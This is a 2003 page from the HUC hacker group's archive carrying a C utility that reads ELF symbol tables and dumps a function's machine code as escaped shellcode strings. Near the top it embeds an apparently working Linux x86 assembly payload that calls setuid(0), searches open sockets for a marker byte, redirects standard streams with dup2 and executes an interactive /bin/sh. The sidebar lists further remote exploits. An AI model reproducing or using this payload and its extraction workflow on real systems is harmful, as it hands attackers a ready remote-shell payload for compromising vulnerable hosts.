快速通道

文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

分析理解elf文件并且自动编排shellcode的程序

提交作品： bkbll
提交日期： 2003-11-12
作品属性： 推荐
文档类别： 代码作品
浏览次数： 今3次/总5717次

```
/* read elf string
* by bkbll(bkbll#cnhonker.net) 2003-08-08
* welcome to http://www.cnhonker.com
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <error.h>
#include <elf.h>

#define VER "1.10"

typedef struct
{
   char *info;
   int leng;
   int offset;
}syminfo;

void asmcode()
{
   __asm__(
   "
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
movb $0x17,%al
int $0x80
xorl %eax,%eax
pushl %eax
incl %eax
pushl %eax
movl %esp,%ebx
xorl %ecx,%ecx
movb $0xa2,%al
int $0x80
movb $0xe0,%cl
```

```
movl %ecx,%eax
subl $0x0a,%eax
notl %eax
incl %eax
movl %eax,%edi
xorl %eax,%eax
incl %eax
decl %esp
movl %esp,%edx
pushl %eax
pushl %eax
pushl %edx
pushl %edi
pushl %ecx
leal 4(%esp),%ecx
xorl %ebx,%ebx
movb $0x0a,%bl
movb $0x66,%al
int  $0x80
popl %ecx
cmpl $0x01,%eax
jne  .+0x07
cmpb $0x49,(%edx)
je  .+0xb
loop .-0x2c
xorl %eax,%eax
incl %eax
movl %eax,%ebx
int  $0x80
movl %edi,%ebx
movb $0x03,%cl
movb $0x3f,%al
decl %ecx
int  $0x80
incl %ecx
loop .-0x06
pushl %ecx
pushl $0x68732f6e
pushl $0x69622f2f
movl  %esp,%ebx
pushl %ecx
pushl $0x706c692d
movl %esp,%edx
pushl %ecx
pushl %edx
pushl %ebx
movl %esp,%ecx
xorl %edx,%edx
xorl %eax,%eax
movb $0x0b,%al
int  $0x80
    "
   );
}

void usage(char *s,int flag)
{
   printf("Elf file reader & asm code read\n");
   printf("by bkbll,bkbll@cnhonker.net(%s)\n",VER);
   printf("-----------------------------------\n");
   if(flag==1)
   {
      printf("Usage:%s [-f <file>] [-x <address>] [-h]\n",s);
      printf("Options:\n\t-f: the file want to read(defaut is self)\n");
      printf("\t-x: the function address\n");
      printf("\t-h: this screen\n");
      printf("if nothing,it will show self's function table\n");
```

```
        exit(0);
    }
}

void ptelfhdr(Elf32_Ehdr *elfhdr)
{
    //入口地址
    printf("[+] Program Entry Addr:%p\n",elfhdr->e_entry);
    //PHD表偏移量
    //printf("[+] Program header table file offset:0x%x\n",elfhdr-
>e_phoff);       /* Program header table file offset */
    //SHD表偏移量
    //printf("[+] Section header table file offset:0x%x\n",elfhdr-
>e_shoff);       /* Section header table file offset */
     //printf("[+] ELF header size in bytes:0x%x\n",elfhdr-
>e_ehsize);       /* ELF header size in bytes */
    //printf("[+] Program header table entry size:0x%x\n",elfhdr-
>e_phentsize);       /* Program header table entry size */
    //printf("[+] Program header table entry count:0x%x\n",elfhdr-
>e_phnum);       /* Program header table entry count */
     //printf("[+] Section header table entry size:0x%x\n",elfhdr-
>e_shentsize);       /* Section header table entry size */
    //printf("[+] Section header table entry count:0x%x\n",elfhdr-
>e_shnum);       /* Section header table entry count */
    //printf("[+] Section header string table index:0x%x\n",elfhdr-
>e_shstrndx);       /* Section header string table index */
}

void ptelfshd(Elf32_Shdr* shdr)
{
    //printf("[+] Section name (string tbl index):0x%x\n",shdr-
>sh_name); /* Section name (string tbl index) */
     //printf("[+] Section type:0x%x\n",shdr->sh_type);       /* Section
type */
     //printf("[+] Section flags:0x%x\n",shdr->sh_flags);       /* Section
flags */
     //printf("[+] Section virtual addr at execution:0x%x\n",shdr-
>sh_addr);       /* Section virtual addr at execution */
     //printf("[+] Section file offset:0x%x\n",shdr->sh_offset);       /*
Section file offset */
     //printf("[+] Section size in bytes:0x%x\n",shdr->sh_size);       /*
Section size in bytes */
     //printf("[+] Link to another section:0x%x\n",shdr->sh_link);       /*
Link to another section */
     //printf("[+] Additional section information:0x%x\n",shdr-
>sh_info);       /* Additional section information */
     //printf("[+] Section alignment:0x%x\n",shdr->sh_addralign);       /*
Section alignment */
     //printf("[+] Entry size if section holds table:0x%x\n",shdr-
>sh_entsize);       /* Entry size if section holds table */
}
int showmem(unsigned int p,int length)
{
      int i=0,t,a,ptleng;
      char *sc=(char *)p;
      int next=16;
      ptleng=(0xbfffffff-p)>length?length:(0xbfffffff-p);
      ptleng++;
      while(i<ptleng)
      {
            if(i%16==0)
            {
                  printf("\r\n%p: ",sc+i);
            }

           next=((i+16)>ptleng)?ptleng:(i+16);
```

```
            t=i;
            for(;i<next;i++)  printf("%.2x ",sc[i] & 0xff);
            a=next-t;
            for(;a<16;a++)  printf("   ");
            printf(" ");
            while(t<next)
            {
                  if((*(sc+t)<0x1f) || (*(sc+t)>0x7e))
                   printf(".",sc[t]);
                else
                   printf("%c",sc[t]);
                t++;
             }
     }
     printf("\r\n");
     return i;
}

void* readfile(FILE *fd,int offset,int size)
{
   void *buf;

   if(fd==NULL)
   {
      perror("[-] not a FILE pointer");
      return NULL;
   }
   buf=malloc(size);
   if(buf==NULL)
   {
      perror("[-] malloc failed");
      return NULL;
   }
   memset(buf,0,size);
   //定位
   //printf("[@] before fseek,position:%#x\n",ftell(fd));
   if(fseek(fd,offset,SEEK_SET)<0)
   {
      perror("[-] fseek failed");
      free(buf);
      return NULL;
   }
   //printf("[@] after fseek,position:%#x\n",ftell(fd));
   if(fread(buf,1,size,fd)<0)
   {
      perror("[-] read failed");
      free(buf);
      return NULL;
   }
   return buf;
}
//get base address
unsigned int getbaseaddr(FILE *fd,Elf32_Ehdr *elfhdr)
{
   unsigned int i,phdsize,phdnum,phdoffset,baseaddr;
   char *buf;
   Elf32_Phdr *tmp_phd;

   phdoffset=elfhdr->e_phoff;
   phdsize=elfhdr->e_phentsize;
   phdnum=elfhdr->e_phnum;
   for(i=0;i<phdnum;i++)
   {
      tmp_phd=(Elf32_Phdr *)readfile(fd,phdoffset+i*phdsize,sizeof
(Elf32_Phdr));
      if((tmp_phd->p_type) == PT_PHDR)
      {
```

```
            baseaddr=(tmp_phd->p_vaddr)-(tmp_phd->p_offset);
            return baseaddr;
        }
    }
    return 0;
}
//列举symbol
int list_sym(FILE *fd,Elf32_Shdr *sym_shdr,Elf32_Shdr *sym_str_shdr)
{
    int i,a,num,stoff;
    int symbol_offset,symbol_allsize,sym_str_offset,sym_str_size;
    char *sym_str_table;
    Elf32_Sym *symbol1;

    if((sym_shdr == NULL ) || (sym_str_shdr == NULL))
    {
        printf("[-] Not a Shdr pointer\n");
        return(-1);
    }
    symbol_offset=sym_shdr->sh_offset;
    symbol_allsize=sym_shdr->sh_size;
    sym_str_offset=sym_str_shdr->sh_offset;
    sym_str_size=sym_str_shdr->sh_size;
    //一共多少个symbol
    num=symbol_allsize/sizeof(Elf32_Sym);
    printf("[+] Found %d symbols\n",num);
    if(num==0)
    {
        printf("[-] No symbol here\n");
        return(-1);
    }
    printf("[@] Read 0x%x bytes from offset 0x%
x\n",sym_str_size,sym_str_offset);
    sym_str_table=(char *)readfile(fd,sym_str_offset,sym_str_size);
    //showmem(sym_str_table,sym_str_size);
    printf("[!] number  address  length  type   name \n");
    for(i=0,a=1;i<num;i++)
    {
        symbol1=(Elf32_Sym *)readfile(fd,symbol_offset+i*sizeof
(Elf32_Sym),sizeof(Elf32_Sym));
        stoff=symbol1->st_name;
        //只列举出function的symbol,不是重定位的函数,函数大小大于0的
        if((stoff>0) && (ELF32_ST_TYPE(symbol1->st_info)==STT_FUNC) &&
(symbol1->st_shndx!=SHN_UNDEF) && (symbol1->st_size>0))
        {
            printf("[+] %3.d:  0x%.8x 0x%.4x  FUNC  %s\n",a,symbol1-
>st_value,symbol1->st_size,sym_str_table+stoff);
            a++;
        }
    }
}
//查找symbol
syminfo *find_symbol_byaddr(FILE *fd,unsigned int addr,Elf32_Shdr
*sym_shdr,Elf32_Shdr *sym_str_shdr,unsigned int baseaddr)
{
    int i,a,num,staddr;
    int symbol_offset,symbol_allsize,sym_str_offset,sym_str_size;
    char *sym_str_table;
    Elf32_Sym *symbol1;
    syminfo *findout;

    if((sym_shdr == NULL ) || (sym_str_shdr == NULL))
    {
        printf("[-] Not a Shdr pointer\n");
        return(NULL);
    }
```

```
    symbol_offset=sym_shdr->sh_offset;
    symbol_allsize=sym_shdr->sh_size;
    sym_str_offset=sym_str_shdr->sh_offset;
    sym_str_size=sym_str_shdr->sh_size;
    //一共多少个symbol
    num=symbol_allsize/sizeof(Elf32_Sym);
    //printf("[+] Found %d symbols\n",num);
    if(num==0)
    {
        printf("[-] No symbol here\n");
        return(NULL);
    }
    //printf("[@] 从0x%x处读0x%x字节内容\n",sym_str_offset,sym_str_size);
    sym_str_table=(char *)readfile(fd,sym_str_offset,sym_str_size);
    //showmem(sym_str_table,sym_str_size);
    //printf("[!] number  address  length  name \n");
    findout=(syminfo *)malloc(sizeof(syminfo));
    for(i=0,a=1;i<num;i++)
    {
        symbol1=(Elf32_Sym *)readfile(fd,symbol_offset+i*sizeof
(Elf32_Sym),sizeof(Elf32_Sym));
        staddr=symbol1->st_value;
        //printf("\n[@] st_name:%d,symbol name:%s",symbol1-
>st_name,sym_str_table+symbol1->st_name);
        if((staddr==addr) && (symbol1->st_name>0))
        {
            findout->info=sym_str_table+symbol1->st_name;
            findout->leng=symbol1->st_size;
            findout->offset=addr-baseaddr;
            return findout;
        }
    }
    free(findout);
    return NULL;
}

Elf32_Shdr *find_section_byname(FILE *fd,char *section_name,char
*sstrtable,int s_offset,int snum,int ssize)
//文件名,查找的section名字,已经读出来的section string table,section入口地
址,section有多少个,section多大
{
    int i,name_off;
    Elf32_Shdr *shdr1;

    for(i=0;i<snum;i++)
    {
        shdr1=(Elf32_Shdr *)readfile(fd,s_offset+i*ssize,sizeof(*shdr1));
        if(shdr1==NULL) continue;
        name_off=shdr1->sh_name;
        //printf("[@] Finding str:%s, current str:%
s\n",section_name,sstrtable+name_off);
        if(strcmp(section_name,sstrtable+name_off)==0)
        {
            return shdr1;
        }
    }
    return NULL;
}

void prt_machine_code(FILE *fd,int offset,int length)
{
    char *buffer;
    int i,a;

    buffer=(char *)malloc(length);
    if(buffer==NULL)
```

```
    {
        printf("[-] malloc memory error");
        return;
    }
    buffer=(char *)readfile(fd,offset,length);
    printf("[+] machine code:\n\n");
    printf("\"");
    for(i=3,a=0;i<length-2;i++)
    {
        if((a%8==0) && (a/8>0)) printf("\"\n\"");
        printf("\\x%.2x",buffer[i] & 0xff);
        a++;
    }
    printf("\"\n");
}

char symtabstr[]=".symtab";
char strtabstr[]=".strtab";
char selfexe[]="/proc/self/exe";
main(int argc,char **argv)
{
    Elf32_Ehdr *elfhdr;
    Elf32_Shdr *shdr,*sym_shdr,*sym_str_shdr;
    FILE *fp=NULL;
    syminfo *find_out_sym;
    int i,str_sec_offset; //section string table在第几个section中
    int section_size,section_offset; //section开始位置,每个section大小
    int num,section_strtable_length,section_strtable_offset;
    unsigned int baseaddr;
    char *section_strtable,*filename;
    int address=0;
    char c;

    filename=selfexe;
    while((c = getopt(argc, argv, "f:x:h"))!= EOF)
      {
          switch (c)
          {
           case 'f':
                filename=optarg;
                break;
           case 'x':
               sscanf(optarg,"%x",&address);
               break;
           case 'h':
                usage(argv[0],1);
                break;
           default:
                usage(argv[0],1);
                return 0;
           }
        }
    /*
    if(argc<2)
    {
        printf("Usage:%s <file> <addr>\n",argv[0]);
        exit(0);
    }
    */

    //if(argc>1) filename=argv[1];
    //if(argc>2) sscanf(argv[2],"%x",&address);
    usage("",0);
    printf("[+] Reading file %s\n",filename);
    fp=fopen(filename,"r");
    if(fp==NULL)
```

```
    {
        perror("[-] open file error");
        exit(0);
    }
    elfhdr=(Elf32_Ehdr *)readfile(fp,0,sizeof(*elfhdr));
    if(elfhdr==NULL) exit(0);
    ptelfhdr(elfhdr);
    baseaddr=getbaseaddr(fp,elfhdr);
    if(baseaddr==0)
    {
        printf("[-] Canot get base address\n");
        exit(0);
    }
    printf("[+] Found base address:%p\n",baseaddr);
    str_sec_offset=elfhdr->e_shstrndx; //SHD str table在section中的位置
    section_size=elfhdr->e_shentsize;  //每个section的大小
    section_offset=elfhdr->e_shoff;    //section入口地址
    num=elfhdr->e_shnum;               //一共多少个section
    //if(offset>0) str_sec_offset=offset;
    if(str_sec_offset>=num)
    {
        printf("[-] TOO large offset\n");
        fclose(fp);
        exit(0);
    }
    //读第str_sec_offset个section
    shdr=(Elf32_Shdr *)readfile
(fp,section_offset+str_sec_offset*section_size,section_size);
    //printf("[*] Section %d:\n",str_sec_offset);
    //sh_offset,sh_size
    ptelfshd(shdr);

    section_strtable_length=shdr->sh_size;    //section string table长度
    section_strtable_offset=shdr->sh_offset;  //section string table偏移量
    printf("[@] Read 0x%x bytes from offset 0x%x
\n",section_strtable_length,section_strtable_offset);
    section_strtable=(char *)readfile
(fp,section_strtable_offset,section_strtable_length);
    printf("[?] finding section %s......",symtabstr);
    fflush(stdout);
    sym_shdr=find_section_byname
(fp,symtabstr,section_strtable,section_offset,num,section_size);
    if(sym_shdr==NULL)
    {
        printf("FAILED\n");
        fclose(fp);
        exit(0);
    }
    else
    {
        printf("Got it\n");
        ptelfshd(sym_shdr);
    }
    printf("[?] finding section %s......",strtabstr);
    fflush(stdout);
    sym_str_shdr=find_section_byname
(fp,strtabstr,section_strtable,section_offset,num,section_size);
    if(sym_str_shdr==NULL)  printf("FAILED\n");
    else
    {
        printf("Got it\n");
        ptelfshd(sym_str_shdr);
    }
    if(address==0)
    {
        list_sym(fp,sym_shdr,sym_str_shdr);
```

```
   }
   else
   {
      printf("[?] finding sym-addr:%p......",address);
      fflush(stdout);
      find_out_sym=find_symbol_byaddr
(fp,address,sym_shdr,sym_str_shdr,baseaddr);
      if(find_out_sym==NULL)
      {
         printf("FAILED\n");
      }
      else
      {
         printf("Got it\n");
         printf("[+] Symbol name:%s\n",find_out_sym->info);
         printf("[+] Symbol offset:0x%x\n",find_out_sym->offset);
         printf("[+] Symbol leng:0x%x\n",find_out_sym->leng);
         //get the asm code
         if(find_out_sym->leng>0)
            prt_machine_code(fp,find_out_sym->offset,find_out_sym-
>leng);
         else
            printf("[-] Symbol length==0\n");
      }
   }
   fclose(fp);
   exit(1);
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net